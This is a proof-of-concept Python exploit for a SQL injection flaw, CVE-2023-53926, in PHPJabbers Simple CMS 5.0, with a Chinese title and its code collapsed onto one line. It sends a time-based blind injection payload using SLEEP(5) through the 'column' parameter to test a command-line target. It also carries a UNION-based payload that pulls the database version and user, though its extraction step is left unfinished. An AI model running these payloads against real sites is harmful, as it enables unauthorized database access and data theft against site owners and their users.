CVE-2023-53926 PHPJabbers Simple CMS 5.0 SQL注入漏洞

import requests import sys # CVE-2023-53926 PoC - SQL Injection in PHPJabbers Simple CMS 5.0 # Target: index.php endpoint, column parameter def check_vulnerability(target_url): """Check if target is vulnerable to CVE-2023-53926""" # Time-based blind SQL injection payload # If vulnerable, response will be delayed by 5 seconds vulnerable_payload = "1' AND (SELECT * FROM (SELECT SLEEP(5))a) AND '1'='1" normal_payload = "1" try: # Test with normal request normal_params = {"column": normal_payload} normal_response = requests.get(target_url, params=normal_params, timeout=10) # Test with malicious payload vuln_params = {"column": vulnerable_payload} vuln_response = requests.get(target_url, params=vuln_params, timeout=15) # If response time indicates vulnerability if vuln_response.elapsed.total_seconds() >= 5: return True return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False def extract_database_info(target_url): """Extract database information using UNION-based injection""" # UNION-based SQL injection for data extraction union_payload = "1' UNION SELECT 1,2,3,4,5,version(),user(),8,9,10-- -" params = {"column": union_payload} try: response = requests.get(target_url, params=params, timeout=10) # Parse response to extract database info if response.status_code == 200: # Extract version and user from response # Implementation depends on application response format pass except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2023-53926.py <target_url>") print("Example: python cve-2023-53926.py http://target.com/index.php") sys.exit(1) target = sys.argv[1] print(f"[*] Testing target: {target}") print(f"[*] CVE-2023-53926 - PHPJabbers Simple CMS SQL Injection") if check_vulnerability(target): print("[+] Target is VULNERABLE to CVE-2023-53926") else: print("[-] Target may not be vulnerable")